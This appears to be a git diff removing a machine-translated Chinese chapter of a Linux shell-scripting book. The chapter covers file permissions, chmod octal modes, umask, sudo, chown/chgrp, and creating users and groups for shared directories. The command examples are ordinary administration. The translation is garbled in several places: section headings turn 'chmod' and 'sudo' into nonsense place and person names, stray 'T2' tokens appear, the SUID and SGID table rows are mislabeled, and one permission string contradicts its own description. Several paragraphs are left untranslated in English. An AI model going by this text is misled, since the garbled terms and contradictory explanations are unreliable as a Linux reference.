- -让我们看另一个例子: - -```sh -reader@ubuntu:~$ ls -l / - -dr-xr-xr-x 98 root root 0 Aug 4 10:49 proc -drwx------ 3 root root 4096 Jul 1 09:40 root -``` - -```sh - -drwxr-xr-x 25 root root 900 Aug 4 10:51 run - -reader@ubuntu:~$ -``` - -系统超级用户的`home`目录是`/root/`。从这一行的第一个字符可以看出是一个`d`,为*目录*。它对所有者`root`拥有 RWX(最后一次:读、写、执行)权限,对组(也是`root`)没有权限,对其他人也没有权限(如`---`所示)。这些权限只能说明一件事:**只有** **根用户** **才能进入或操作这个目录!**看看我们的假设是否正确。请记住,*进入*目录需要`x`权限,而*列出*目录内容需要`r`权限。我们应该也做不到,因为我们既不是`root`用户,也不在根组中。在这种情况下,将应用其他人的权限,这是`---`: - -```sh -reader@ubuntu:~$ cd /root/ --bash: cd: /root/: Permission denied -reader@ubuntu:~$ ls /root/ -ls: cannot open directory '/root/': Permission denied -reader@ubuntu:~$ -``` - -# 操纵文件权限和所有权 - -阅读本章的第一部分后,您应该对 Linux 文件权限有了一个很好的了解,以及如何在用户、组和其他级别上使用读、写和执行来确保文件完全按照要求公开。然而,到目前为止,我们一直在处理静态权限。管理 Linux 系统时,您很可能会花费大量时间来调整和排除权限故障。在这本书的这一部分,我们将探索可以用来操作文件权限的命令。 - -# 马斯科州的 chmod - -让我们回到我们的`testfile`。它具有以下权限:`-rw-rw----`。用户和组可读/可写,其他人可读。虽然这些权限对大多数文件来说可能没什么问题,但它们绝对不适合所有文件。私人文件呢?你不会希望所有人都可以阅读这些内容,甚至可能不希望小组成员都可以阅读。 - -改变文件或目录权限的 Linux 命令是`chmod`,我们喜欢读为 **ch** 安歌文件 **mod** e. `chmod`有两种操作模式:符号模式和数字/八进制模式。我们将首先解释符号模式(更容易理解),然后再进入八进制模式(使用起来更快)。 - -Something we have not yet introduced is the command to view manuals for commands. The command is simply `man`, followed by the command for which you'd like to see the manual of. In this case, `man chmod` will place us into the `chmod` manual pager, which uses the same navigation controls as you learned for Vim. Remember, quitting is done by entering `:q`. In this case, just `q` is enough. Take a look at the `chmod` manual now and read at least the **description** header; it will make the explanation that follows clearer. - -符号模式使用我们之前看到的带有 UGOA 字母的 RWX 构造。这看似新鲜,但实际上并不新鲜! **U** sers、**G**group、 **O** thers 和 **A** ll 用于表示我们正在更改哪些权限。 - -要添加权限,我们告诉`chmod`我们这样做是为了谁(用户、组、其他人或所有人),然后是我们想要添加的权限。`chmod u+x `例如,将为用户添加执行权限。同样,使用`chmod`移除权限的操作如下:`chmod g-rwx `。请注意,我们使用`+`符号来添加权限,使用`-`符号来移除权限。如果我们没有指定用户、组、其他或全部,则默认使用**全部**。让我们在我们的 Ubuntu 机器上尝试一下: - -```sh -reader@ubuntu:~$ cd -reader@ubuntu:~$ pwd -/home/reader -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rw-rw-r-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ chmod u+x testfile -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwxrw-r-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ chmod g-rwx testfile -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwx---r-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ chmod -r testfile -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt ---wx------ 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ -``` - -首先,我们将用户的执行权限添加到`testfile`中。接下来,我们从组中删除了读、写和执行,从而产生了`-rwx---r--`。在这种情况下,组成员仍然能够读取文件,但是,*因为每个人仍然可以读取文件*。至少可以说,这不是隐私的完美权限。最后,我们没有在`-r`之前指定任何内容,这实际上删除了用户、组和其他人的读取权限,导致文件最终成为`--wx------`。 - -能够写和执行一个你读不到的文件有点奇怪。让我们修复它,看看八进制权限是如何工作的!我们可以使用`chmod`上的**详细**选项,通过使用`-v`标志使其打印更多信息: - -```sh -reader@ubuntu:~$ chmod -v u+rwx testfile -mode of 'testfile' changed from 0300 (-wx------) to 0700 (rwx------) -reader@ubuntu:~$ -``` - -如你所见,我们现在从`chmod`获得输出!具体来说,我们可以看到八进制模式。在我们更改文件之前,模式是`0300`,为用户添加 read 之后,就跳到了`0700`。这些数字是什么意思? - -这一切都与权限的二进制实现有关。对于所有三个级别(用户、组、其他),当组合读取、写入和执行时,有 8 种不同的可能权限,如下所示: - -| **象征性** | **八进制** | -| `---` | Zero | -| `--x` | one | -| `-w-` | Two | -| `-wx` | three | -| `r--` | four | -| `r-x` | five | -| `rw-` | six | -| `rwx` | seven | - -基本上八进制值在 0 到 7 之间,一共 8 个值。这就是它被称为八进制的原因:从拉丁语/希腊语的 8 的表达来看,是“T2”。读权限的值为 4,写权限的值为 2,执行权限的值为 1。 - -通过使用该系统,0 到 7 的值总是可以唯一地与 RWX 值相关联。RWX 为 *4+2+1 = 7* ,RX 为 *4+1 = 5* ,以此类推。 - -现在我们知道了八进制表示是如何工作的,我们可以用它们来修改`chmod`的文件权限。让我们在一个命令中为用户、组和其他人赋予测试文件完全权限(RWX 或 7): - -```sh -reader@ubuntu:~$ chmod -v 0777 testfile -mode of 'testfile' changed from 0700 (rwx------) to 0777 (rwxrwxrwx) -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwxrwxrwx 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ -``` - -在这种情况下,`chmod`接受四个数字作为自变量。第一个数字是关于一种特殊类型的权限,称为粘性位;我们不会讨论这个,但是我们已经在*进一步阅读*部分为感兴趣的人提供了材料。在这些例子中,它总是被设置为`0`,因此没有设置特殊的位。第二个数字映射到用户权限,第三个映射到组权限,不出所料,第四个映射到其他人权限。 - -如果我们想使用符号表示来实现这一点,我们可以使用`chmod a+rwx`命令。那么,为什么八进制比我们之前说的要快呢?让我们看看如果我们希望每个级别有不同的权限会发生什么,例如,`-rwxr-xr--`。如果我们想用符号表示来实现这一点,我们需要使用三个命令或者一个链式命令(T2 的另一个功能): - -```sh -reader@ubuntu:~$ chmod 0000 testfile -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt ----------- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ chmod u+rwx,g+rx,o+r testfile -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ -``` - -从`chmod u+rwx,g+rx,o+r testfile`命令可以看出,事情变得有点复杂了。但是,使用八进制表示法,命令要简单得多: - -```sh -reader@ubuntu:~$ chmod 0000 testfile -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt ----------- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ chmod 0754 testfile -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ -``` - -基本上,区别主要在于使用*命令式*符号(添加或删除权限)和*声明式*符号(将其设置为这些值)。根据我们的经验,声明式几乎总是更好/更安全的选择。用命令式,我们需要先检查当前的权限并对其进行变异;使用声明性的,我们可以在一个命令中指定我们想要的。 - -It might be obvious by now, but we prefer to use the octal notation. Besides the benefits from shorter, simpler commands that are handled declaratively, another benefit is that most examples you will find online use the octal notation as well. To fully understand these examples, you will need to at least understand octals. And, if you need to understand them anyway, nothing beats using them in your day to day life! - -早些时候,当我们使用`touch`命令时,我们得到了一个用户和组都可以读写的文件,其他人也可以读取。这些似乎是默认权限,但它们从何而来?我们如何操纵它们?让我们来认识一下`umask`: - -```sh -reader@ubuntu:~$ umask -0002 -reader@ubuntu:~$ -``` - -`umask`会话用于确定新创建的文件和目录的文件权限。对于文件,做如下操作:取文件的最大八进制值`0666`,减去`umask`(本例中为`0002`,即为`0664`。这意味着新创建的文件是`-rw-rwr--`,这正是我们看到的`testfile`。你可能会问,为什么我们取`0666`而不是`0777`?这是 Linux 提供的一种保护;如果我们使用`0777`,大多数文件将被创建为可执行文件。可执行文件可能是危险的,设计决定是只有在明确设置的情况下,文件才应该是可执行的。所以,在目前的实现下,不存在*不小心*创建可执行文件的情况。对于目录,使用`0777`的正常八进制值,这意味着目录是使用`0775`、`-rwxrwxr-x`权限创建的。我们可以通过使用`mkdir`命令创建一个新目录来检验这一点: - -```sh -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ umask -0002 -reader@ubuntu:~$ mkdir testdir -reader@ubuntu:~$ ls -l -total 8 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ -``` - -因为目录上的执行权限不太危险(记住,它用于确定您是否可以移动到目录中),所以这种实现不同于文件。 - -关于`umask`,我们还有最后一个技巧想要展示。在特定情况下,我们希望自己确定文件和目录的默认值。我们也可以使用`umask`命令来实现: - -```sh -reader@ubuntu:~$ umask -0002 -reader@ubuntu:~$ umask 0007 -reader@ubuntu:~$ umask -0007 -reader@ubuntu:~$ touch umaskfile -reader@ubuntu:~$ mkdir umaskdir -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader reader 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -在前面的例子中,您可以看到在没有参数的情况下运行`umask`命令会打印当前的 umask。使用有效的 umask 值作为参数运行它会将 umask 更改为该值,然后在创建新文件和目录时使用该值。将`umaskfile`和`umaskdir`与前面输出中较早的`testfile`和`testdir`进行比较。如果我们想创建默认为私有的文件,这非常有用! - -# sudo、chown 和 chgrp - -到目前为止,我们已经看到了如何操作文件和目录的(基本)权限。然而,我们还没有处理过更改文件的所有者或组的问题。总是必须像创建时那样与用户和组一起工作有点不切实际。对于 Linux,我们可以使用两个工具来更改所有者和组: **ch** 安歌 **own** er ( `chown`)和 **ch** 安歌 **gr** ou **p** ( `chgrp`)。然而,有一件非常重要的事情需要注意:这些命令只能为具有根权限的人(通常是`root`用户)执行。所以,在给大家介绍`chown`和`chgrp`之前,我们先来看看`sudo`! - -# 日本首藤 - -`sudo`命令最初是以 **su** peruser **do** 命名的,顾名思义,它给了您一个以超级用户身份执行操作的机会。`sudo`命令使用`/etc/sudoers`文件来确定是否允许用户提升到超级用户权限。让我们看看它是如何工作的! - -```sh -reader@ubuntu:~$ cat /etc/sudoers -cat: /etc/sudoers: Permission denied -reader@ubuntu:~$ ls -l /etc/sudoers --r--r----- 1 root root 755 Jan 18 2018 /etc/sudoers -reader@ubuntu:~$ sudo cat /etc/sudoers -[sudo] password for reader: -# -# This file MUST be edited with the 'visudo' command as root. -# -# Please consider adding local content in /etc/sudoers.d/ instead of -# directly modifying this file. -# -# See the man page for details on how to write a sudoers file. -# -Defaults env_reset -Defaults mail_badpass -Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" - -# User privilege specification -root ALL=(ALL:ALL) ALL - -# Members of the admin group may gain root privileges -%admin ALL=(ALL) ALL - -# Allow members of group sudo to execute any command -%sudo ALL=(ALL:ALL) ALL - -reader@ubuntu:~$ -``` - -我们先试着以正常用户的身份来看`/etc/sudoers`的内容。当出现`Permission denied`错误时,我们查看文件的权限。从`-r--r----- 1 root root`行,很明显只有`root`用户或`root`组的成员可以读取文件。为了提升根权限,我们在要运行的命令前面使用`sudo`命令*,也就是`cat /etc/sudoers`。为了验证,Linux 将总是询问用户他们的密码。默认情况下,该密码会在内存中保留大约 5 分钟,因此如果您最近输入过密码,则不必每次都键入密码。* - -输入密码后,为我们打印`/etc/sudoers`文件!看来`sudo`确实给我们提供了超级用户权限。`/etc/sudoers`文件也解释了这是如何工作的。`# Allow members of group sudo to execute any command`行是注释(因为它以`#`开头;稍后将对此进行更多介绍)并告诉我们,下面的行赋予`sudo`组的所有用户对任何命令的权限。在 Ubuntu 上,默认创建的用户被视为管理员,并且是该组的成员。使用`id`命令对此进行验证: - -```sh -reader@ubuntu:~$ id -uid=1000(reader) gid=1004(reader) groups=1004(reader),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),1000(lpadmin),1001(sambashare),1002(debian-tor),1003(libvirtd) -reader@ubuntu:~$ -``` - -`sudo`命令还有一个很好的用处:切换到`root`用户!为此,请使用`--login`国旗,或其简写为`-i`: - -```sh -reader@ubuntu:~$ sudo -i -[sudo] password for reader: -root@ubuntu:~# -``` - -在提示中,您会看到用户名已经从`reader`变为`root`。此外,您的提示中的最后一个字符现在是`#`而不是`$`。这也用于表示当前提升的权限。您可以使用内置的`exit`Shell 退出这个升高的位置: - -```sh -root@ubuntu:~# exit -logout -reader@ubuntu:~$ -``` - -Remember, the `root` user is the superuser of the system that can do everything. And with everything, we really mean everything! Unlike other operating systems, if you tell Linux to delete the root file system and everything below it, it will happily oblige (right up until the point it has destroyed too much to work properly anymore). Do not expect an `Are you sure?` prompt either. Be very, very careful with `sudo` commands or anything in a root prompt. - -# chown, chgrp - -经过小`sudo`的迂回,我们可以回到文件权限:我们如何改变文件的所有权?先用`chgrp`换组。语法如下:`chgrp `: - -```sh -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader reader 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ chgrp games umaskfile -chgrp: changing group of 'umaskfile': Operation not permitted -reader@ubuntu:~$ sudo chgrp games umaskfile -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -首先,我们使用`ls`列出内容。接下来,我们尝试使用`chgrp`将`umaskfile`文件的组更改为游戏。但是,由于这是一个特权操作,并且我们没有用`sudo`启动命令,因此它失败并显示`Operation not permitted`错误消息。接下来,我们使用正确的`sudo chgrp games umaskfile`命令,它不会给我们反馈;一般来说,这在 Linux 中是一个好迹象。我们再次列出文件,确定是这样的,可以看到`umaskfile`的组已经变成`games`了! - -让我们也这样做,但是现在对于用户来说,通过使用`chown`命令。语法与`chgrp` : `chown `相同: - -```sh -reader@ubuntu:~$ sudo chown pollinate umaskfile -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 pollinate games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -如我们所见,我们现在已经将文件所有权从`reader:reader`更改为`pollinate:games`。然而,有一个小技巧非常方便,我们想马上展示给你看!您实际上可以使用`chown`通过使用以下语法来更改用户和组:`chown : `。让我们看看这是否能恢复`umaskfile`原来的所有权: - -```sh -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 pollinate games 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ sudo chown reader:reader umaskfile -reader@ubuntu:~$ ls -l -total 12 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -drwxrwxr-x 2 reader reader 4096 Aug 4 16:16 testdir --rwxr-xr-- 1 reader reader 0 Aug 4 13:44 testfile -drwxrwx--- 2 reader reader 4096 Aug 4 16:18 umaskdir --rw-rw---- 1 reader reader 0 Aug 4 16:18 umaskfile -reader@ubuntu:~$ -``` - -We used random users and groups in the preceding examples. If you want to see which groups are present on the system, inspect the `/etc/group` file. For users, the same information can be found in `/etc/passwd`. - -# 与多个用户一起工作 - -正如我们之前所说的,Linux 本质上是一个多用户系统,尤其是在 Linux 服务器的环境中,这些系统通常不是由单个用户管理的,而是由一个(大型)团队管理的。服务器上的每个用户都有自己的一组权限。例如,想象一台服务器,其中需要三个部门:开发、运营和安全。开发和运营都有自己的东西,但也需要分享一些其他的东西。安全部门需要能够查看所有内容,以确保正确遵守安全准则。我们怎么能安排这样的结构呢?让我们实现它! - -首先,我们需要创建一些用户。对于每个部门,我们将创建一个用户,但是由于我们将确保组级别的权限,这对于每个部门的 5、10 或 100 个用户也同样适用。我们可以使用`useradd`命令创建用户。在它的基本形式中,我们可以只使用`useradd `,而 Linux 将通过默认值来处理剩下的部分。显然,与 Linux 中的几乎所有东西一样,这是高度可定制的;有关更多信息,请查看手册页(`man useradd`)。 - -与`chown`和`chgrp`的情况一样,`useradd`(以及后来的`usermod`)是一个特权命令,我们将与`sudo`一起执行: - -```sh -reader@ubuntu:~$ useradd dev-user1 -useradd: Permission denied. -useradd: cannot lock /etc/passwd; try again later. -reader@ubuntu:~$ sudo useradd dev-user1 -[sudo] password for reader: -reader@ubuntu:~$ sudo useradd ops-user1 -reader@ubuntu:~$ sudo useradd sec-user1 -reader@ubuntu:~$ id dev-user1 -uid=1001(dev-user1) gid=1005(dev-user1) groups=1005(dev-user1) -reader@ubuntu:~$ id ops-user1 -uid=1002(ops-user1) gid=1006(ops-user1) groups=1006(ops-user1) -reader@ubuntu:~$ id sec-user1 -uid=1003(sec-user1) gid=1007(sec-user1) groups=1007(sec-user1) -reader@ubuntu:~$ -``` - -作为最后的提醒,我们向您展示了当您忘记`sudo`时会发生什么。虽然该错误消息在技术上是完全正确的(您需要根权限来编辑存储用户信息的`/etc/passwd`,但该命令失败的原因可能并不完全清楚,尤其是因为误导性的`try again later!`错误。 - -但是有了`sudo`,我们可以增加三个用户:`dev-user1`、`ops-user1`和`sec-user1`。当我们按顺序检查这些用户时,我们可以看到他们的`uid`每次上升一个。我们还可以看到,创建了一个与用户同名的组,并且这是用户所属的唯一组。群组也有自己的`gid`,每个下一个用户增加一个。 - -所以,现在我们已经有了用户,但是我们需要共享组。对于这一点,我们有一个类似的命令(无论是名字还是操作):`groupadd`。查看`groupadd`的手册页,添加对应于我们部门的三个组: - -```sh -reader@ubuntu:~$ sudo groupadd development -reader@ubuntu:~$ sudo groupadd operations -reader@ubuntu:~$ sudo groupadd security -reader@ubuntu:~$ -``` - -要查看哪些组已经可用,您可以查看`/etc/group`文件(例如,`less`或`cat`)。一旦你满意了,我们现在就有了用户和群组。但是我们如何让用户成为小组成员呢?进入`usermod`(代表**用户** **mod** ify)。设置用户主要组的语法如下:`usermod -g `: - -```sh -reader@ubuntu:~$ sudo usermod -g development dev-user1 -reader@ubuntu:~$ sudo usermod -g operations ops-user1 -reader@ubuntu:~$ sudo usermod -g security sec-user1 -reader@ubuntu:~$ id dev-user1 -uid=1001(dev-user1) gid=1008(development) groups=1008(development) -reader@ubuntu:~$ id ops-user1 -uid=1002(ops-user1) gid=1009(operations) groups=1009(operations) -reader@ubuntu:~$ id sec-user1 -uid=1003(sec-user1) gid=1010(security) groups=1010(security) -reader@ubuntu:~$ -``` - -我们现在取得的成就离我们的目标更近了,但我们还没有达到目标。到目前为止,我们只确保了多个开发人员可以通过都在开发组中来共享文件。但是开发和运营之间的共享文件夹呢?安全部门如何监控一切?让我们用正确的组创建一些目录(使用`mkdir`,代表**m**a**k**e**dir**extory),看看我们能走多远: - -```sh -reader@ubuntu:~$ sudo mkdir /data -[sudo] password for reader: -reader@ubuntu:~$ cd /data -reader@ubuntu:/data$ sudo mkdir dev-files -reader@ubuntu:/data$ sudo mkdir ops-files -reader@ubuntu:/data$ sudo mkdir devops-files -reader@ubuntu:/data$ ls -l -total 12 -drwxr-xr-x 2 root root 4096 Aug 11 10:03 dev-files -drwxr-xr-x 2 root root 4096 Aug 11 10:04 devops-files -drwxr-xr-x 2 root root 4096 Aug 11 10:04 ops-files -reader@ubuntu:/data$ sudo chgrp development dev-files/ -reader@ubuntu:/data$ sudo chgrp operations ops-files/ -reader@ubuntu:/data$ sudo chmod 0770 dev-files/ -reader@ubuntu:/data$ sudo chmod 0770 ops-files/ -reader@ubuntu:/data$ ls -l -total 12 -drwxrwx--- 2 root development 4096 Aug 11 10:03 dev-files -drwxr-xr-x 2 root root 4096 Aug 11 10:04 devops-files -drwxrwx--- 2 root operations 4096 Aug 11 10:04 ops-files -reader@ubuntu:/data -``` - -我们现在有以下结构:一个`/data/`顶级目录,它包含目录`dev-files`和`ops-files`,分别属于`development`和`operations`组。现在,让我们满足安全性可以进入两个目录并管理文件的要求!除了使用`usermod`更改主要群组,我们还可以将用户追加到额外的群组中。在这种情况下,语法是`usermod -a -G `。让我们将`sec-user1`添加到`development`和`operations`组中: - -```sh -reader@ubuntu:/data$ id sec-user1 -uid=1003(sec-user1) gid=1010(security) groups=1010(security) -reader@ubuntu:/data$ sudo usermod -a -G development,operations sec-user1 -reader@ubuntu:/data$ id sec-user1 -uid=1003(sec-user1) gid=1010(security) groups=1010(security),1008(development),1009(operations) -reader@ubuntu:/data$ -``` - -来自安全部门的用户现在是所有新组的成员:安全、开发和运营。由于`/data/dev-files/`和`/data/ops-files/`都没有*其他*的权限,我们当前的用户应该也不能进入,但是`sec-user1`应该可以。让我们看看这是否正确: - -```sh -reader@ubuntu:/data$ sudo su - sec-user1 -No directory, logging in with HOME=/ -$ cd /data/ -$ ls -l -total 12 -drwxrwx--- 2 root development 4096 Aug 11 10:03 dev-files -drwxr-xr-x 2 root root 4096 Aug 11 10:04 devops-files -drwxrwx--- 2 root operations 4096 Aug 11 10:04 ops-files -$ cd dev-files -$ pwd -/data/dev-files -$ touch security-file -$ ls -l -total 0 --rw-r--r-- 1 sec-user1 security 0 Aug 11 10:16 security-file -$ exit -reader@ubuntu:/data$ -``` - -如果您跟随这个例子,您应该看到我们引入了一个新的命令:`su`。是**的**开关 **u** ser 的缩写,它允许我们在用户之间切换。如果您在它前面加上`sudo`,您就可以切换到一个用户,而不需要该用户的密码,只要您有这些权限。否则,您必须输入密码(在这种情况下很难,因为我们没有为用户设置密码)。您可能已经注意到,新用户的 Shell 是不同的。这是因为我们没有加载任何配置(这是为默认用户自动完成的)。不过,别担心——它仍然是一个功能齐全的 Shell!我们的测试成功了:我们能够进入`dev-files`目录,即使我们不是开发人员。我们甚至能够创建一个文件。如果需要,请验证`ops-files`目录是否也是如此。 - -最后,让我们创建一个新的组,`devops`,我们将使用它在开发人员和操作人员之间共享文件。创建组后,我们会将`dev-user1`和`ops-user1`添加到该组中,就像我们将`sec-user1`添加到`development`和`operations`组中一样: - -```sh -reader@ubuntu:/data$ sudo groupadd devops -reader@ubuntu:/data$ sudo usermod -a -G devops dev-user1 -reader@ubuntu:/data$ sudo usermod -a -G devops ops-user1 -reader@ubuntu:/data$ id dev-user1 -uid=1001(dev-user1) gid=1008(development) groups=1008(development),1011(devops) -reader@ubuntu:/data$ id ops-user1 -uid=1002(ops-user1) gid=1009(operations) groups=1009(operations),1011(devops) -reader@ubuntu:/data$ ls -l -total 12 -drwxrwx--- 2 root development 4096 Aug 11 10:16 dev-files -drwxr-xr-x 2 root root 4096 Aug 11 10:04 devops-files -drwxrwx--- 2 root operations 4096 Aug 11 10:04 ops-files -reader@ubuntu:/data$ sudo chown root:devops devops-files/ -reader@ubuntu:/data$ sudo chmod 0770 devops-files/ -reader@ubuntu:/data$ ls -l -total 12 -drwxrwx--- 2 root development 4096 Aug 11 10:16 dev-files/ -drwxrwx--- 2 root devops 4096 Aug 11 10:04 devops-files/ -drwxrwx--- 2 root operations 4096 Aug 11 10:04 ops-files/ -reader@ubuntu:/data$ -``` - -我们现在有了一个共享目录`/data/devops-files/`,在这里`dev-user1`和`ops-user1`都可以输入和创建文件。 - -作为练习,请执行以下任一操作: - -* 将`sec-user1`添加到`devops`组,这样它也可以审核共享文件 -* 验证`dev-user1`和`ops-user1`都可以在共享目录中写入文件 -* 理解为什么`dev-user1`和`ops-user1`只能读取对方在`devops`目录下的文件,而不能编辑(提示:本章下一节*高级权限*,会告诉你如何和 SGID 解决这个问题) - -# 高级权限 - -这涵盖了 Linux 的基本权限。然而,我们想指出一些高级的话题,但我们不会详细讨论它们。有关这些主题的更多信息,请查看本章末尾的*进一步阅读*部分。我们包含了文件属性、特殊文件权限和访问控制列表的参考。 - -# 文件属性 - -文件也可以有不同于我们目前所看到的权限的属性。这方面的一个例子是使一个文件不可变(一个花哨的词,这意味着它不能被改变)。一个不可变的文件仍然有正常的所有权、组和 RWX 权限,但它不允许用户更改它,即使它包含可写权限。这种方式的另一个特点是文件不能被重命名。 - -其他文件属性包括*不可删除*、*仅追加*、*压缩*。有关文件属性的更多信息,请查看手册页中的`lsattr`和`chattr`命令(`man lsattr`和`man chattr`)。 - -# 特殊文件权限 - -您可能已经注意到,在关于八进制记数法的部分,我们总是以零(0775,0640,等等)开始记数。如果我们不使用零,为什么要包含它?这个位置是为特殊文件权限保留的:SUID、SGID 和粘性位。它们具有类似的八进制记数法(其中 SUID 是 4,SGID 是 2,粘性位是 1),使用方式如下: - -| | **文件** | **目录** | -| **SA** | 文件是以所有者的权限执行的,不管是哪个用户执行的。 | 什么都不做。 | -| **过气** | 无论由哪个用户执行,文件都是以组的权限执行的。 | 在该目录中创建的文件与该目录属于同一组。 | -| **粘性位** | 什么都不做。 | 用户只能删除此目录中自己的文件。最著名的用法见`/tmp/`目录。 | - -# 访问控制列表 - -ACL 是增加 UGO/RWX 系统灵活性的一种方式。使用`setfacl` ( **设置** **f** 文件 **acl** )和`getfacl` ( **获取** **f** 文件 **acl** ,可以设置文件和目录的附加权限。因此,例如,使用 ACL,你可以说,虽然`/root/`目录通常只能由`root`用户访问,但也可以由`reader`用户读取。实现这一点的另一种方法是将`reader`用户添加到`root`组,这也给了`reader`用户系统上的许多其他特权(任何对根组有权限的东西都被授予给了阅读器用户!).虽然根据我们的经验,ACL 在实践中并不常用,但对于边缘情况,它们可能是复杂解决方案和简单解决方案之间的区别。 - -# 摘要 - -在本章中,我们已经了解了 Linux 权限方案。我们了解到权限排列有两个主轴:文件权限和文件所有权。对于文件权限,每个文件在*有读取*、*写入*、*执行*权限的允许(或不允许)。对于文件和目录,这些权限的工作方式有所不同。权限通过使用所有权来应用:文件总是由用户和组拥有。除了*用户*和*组*之外,还有其他所有人都有的文件权限,称为*其他人*所有权。如果用户是文件的所有者或组的成员,则用户可以使用这些权限。否则,需要为其他人提供允许与文件交互的权限。 - -接下来,我们学习了如何操作文件权限和所有权。通过使用`chmod`和`umask`,我们能够以我们需要的方式获得文件权限。使用`sudo`、`chown`和`chgrp`,我们操纵了一个文件的所有者和组。关于`sudo`和`root`用户的使用给出了警告,因为两者都可以用很少的努力使一个 Linux 系统不可操作。 - -我们继续一个与多个用户一起工作的例子。我们用`useradd`给系统增加了三个额外的用户,并用`usermod`给了他们正确的组。我们看到了这些用户如何成为同一组的成员,并以这种方式共享对文件的访问。 - -最后,我们谈到了 Linux 下高级权限的一些基础知识。*进一步阅读*部分包含这些主题的更多信息。 - -本章介绍了以下命令:`id`、`touch`、`chmod`、`umask`、`chown`、`chgrp`、`sudo`、`useradd`、`groupadd`、`usermod`、`mkdir`和`su`。 - -# 问题 - -1. Linux 文件使用哪三种权限? -2. Linux 文件定义了哪三种所有权? -3. 哪个命令用于更改文件的权限? -4. 什么机制控制新创建文件的默认权限? -5. 下面的符号权限是如何用八进制描述的:`rwxrw-r--`? -6. 下面的八进制权限是如何象征性描述的:`0644`? -7. 哪个命令允许我们获得超级用户权限? -8. 我们可以使用哪些命令来更改文件的所有权? -9. 我们如何安排多个用户共享对文件的访问? -10. Linux 有哪些类型的高级权限? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **Linux 基础**作者:*奥利弗·佩兹*,Packt:[https://www . Packtpub . com/networking-and-server/foundation-Linux](https://www.packtpub.com/networking-and-servers/fundamentals-linux) -* **文件属性**:[https://linoxide . com/how-tos/how-to-show-File-attributes-in-Linux/](https://linoxide.com/how-tos/howto-show-file-attributes-in-linux/) -* **特殊文件权限**:[https://thegeeksalive.com/linux-special-permissions/](https://thegeeksalive.com/linux-special-permissions/) -* **访问控制列表**:[https://www.tecmint.com/secure-files-using-acls-in-linux/](https://www.tecmint.com/secure-files-using-acls-in-linux/) \ No newline at end of file diff --git a/docs/learn-linux-shell-script/06.md 